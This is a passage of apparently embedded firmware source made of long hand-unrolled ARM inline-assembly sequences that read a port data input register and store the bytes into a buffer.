%[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 48\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[tempValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 192\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 256\n\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 32\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 48\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 320\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], 